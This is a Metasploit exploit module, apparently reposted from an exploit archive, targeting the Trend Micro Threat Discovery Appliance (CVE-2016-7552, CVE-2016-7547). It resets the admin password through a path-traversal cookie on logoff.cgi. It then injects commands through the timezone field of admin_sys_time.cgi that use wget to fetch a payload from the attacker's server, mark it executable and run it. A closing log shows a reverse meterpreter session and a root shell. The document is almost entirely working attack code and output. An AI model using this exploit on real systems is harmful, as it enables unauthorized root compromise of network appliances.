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Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Executi
来源:metasploit.com 作者:mr_me 发布时间:2017-04-19  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution',
      'Description' => %q{
          This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance.
          The first is an authentication bypass vulnerability via a file delete in logoff.cgi
          which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552).
          The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi
          interface (CVE-2016-7547).

          Note: You have the option to use the authentication bypass or not since it requires
          that the server is rebooted. The password reset will render the authentication useless.
          Typically, if an administrator cant login, they will bounce the box. Therefore, this
          module performs a heart beat request until the box is bounced and then attempts to login
          and to perform the command injection. This module has been tested on version 2.6.1062r1
          of the appliance.
      },
      'Author'       =>
        [
          'mr_me <steventhomasseeley@gmail.com>',    # vuln + msf
          'Roberto Suggi Liverani @malerisch',       # vuln + msf
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'URL', 'https://asciinema.org/a/112480'], # demo
          [ 'CVE', '2016-7552'],                      # auth bypass
          [ 'CVE', '2016-7547'],                      # cmdi
        ],
      'Platform'    => 'linux',
      'Arch'        => ARCH_X86,
      'Privileged'  => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Targets'     =>
        [
          [ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 10 2017'))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('TARGETURI', [true, 'The target URI', '/']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']),
        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
        OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]),

      ], self.class)
  end

  def check
    if do_login
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'),
        'cookie' => @cookie,
        'method' =>  'GET',
        }, 1)
      if res and res.code == 200 and res.body =~ /About Trend Micro/
        version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/
        case version
        when /2.6.1062/
          return Exploit::CheckCode::Vulnerable
        end
      end
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    if datastore['AUTHBYPASS']
      print_status("Bypassing authentication...")
      if reset_password
        print_good("The password has been reset!")
        print_status("Waiting for the administrator to reboot...")
        pwn_after_reboot
      end
    else
      if do_login
        pwn
      else
        fail_with(Failure::NoAccess, "Authentication failed")
      end
    end
  end

  def reset_password
    c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'),
      'method' =>  'GET',
      'cookie' => c,
      })

    if res and res.code == 200 and res.headers.to_s =~ /Backtrace/
      return true
    end
    return false
  end

  def pwn
    start_http_server
    print_good("Logged in")
    download_exec
  end

  def pwn_after_reboot
    @rebooted = false
    while !@rebooted
      if do_login
        @rebooted = true
        pwn
      end
    end
  end

  def on_request_uri(cli, request)
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false

    downfile = rand_text_alpha(8+rand(8))
    resource_uri = '/' + downfile

    # do not use SSL for the attacking web server
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
    service_url_payload = srv_host + resource_uri

    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => resource_uri
    }})

    datastore['SSL'] = true if ssl_restore
    connect
  end

  def exec(cmd)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'),
      'cookie' => @cookie,
      'method' =>  'POST',
        'vars_post' => {
          'act'      => 'save',
          'timezone' => cmd,
        }
      }, 1)
  end

  def download_exec
    @bd = rand_text_alpha(8+rand(8))
    register_file_for_cleanup("/tmp/#{@bd}")
    exec("|`wget #{@service_url} -O /tmp/#{@bd}`")
    exec("|`chmod 755 /tmp/#{@bd}`")
    exec("|`/tmp/#{@bd}`")

    # we need to delay, for the stager
    select(nil, nil, nil, 5)
  end

  def do_login

    begin
      login = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'),
        'method' =>  'POST',
          'vars_post' => {
            'passwd'         => datastore['PASSWORD'],
            'isCookieEnable' => 1,
          }
        })

    # these are needed due to the reboot
    rescue Rex::ConnectionRefused
      return false
    rescue Rex::ConnectionTimeout
      return false
    end
    if login and login.code == 200 and login.body =~ /frame\.cgi/
      @cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/
      return true
    end
    return false
  end
end
=begin
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc 
[*] Processing scripts/trend.rc for ERB directives.
resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
resource (scripts/trend.rc)> set RHOST 192.168.100.2
RHOST => 192.168.100.2
resource (scripts/trend.rc)> set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
resource (scripts/trend.rc)> set LHOST 192.168.100.13
LHOST => 192.168.100.13
resource (scripts/trend.rc)> exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.100.13:4444 
[*] Bypassing authentication...
msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > 
[+] The password has been reset!
[*] Waiting for the reboot...
[*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ...
[*] Using URL: http://0.0.0.0:1337/nnDBuOUMuKnxP
[*] Local IP: http://192.168.100.13:1337/nnDBuOUMuKnxP
[+] Logged in
[*] 192.168.100.2:443 - Sending the payload to the server...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.100.2
[*] Meterpreter session 1 opened (192.168.100.13:4444 -> 192.168.100.2:46140) at 2016-09-23 14:59:08 -0500
[+] Deleted /tmp/rpNDXQZTB
[*] Server stopped.

msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 3846 created.
Channel 1 created.


BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/bin/sh: can't access tty; job control turned off
/opt/TrendMicro/MinorityReport/www/cgi-bin # id
id
uid=0(root) gid=0(root)
/opt/TrendMicro/MinorityReport/www/cgi-bin #
=end

 
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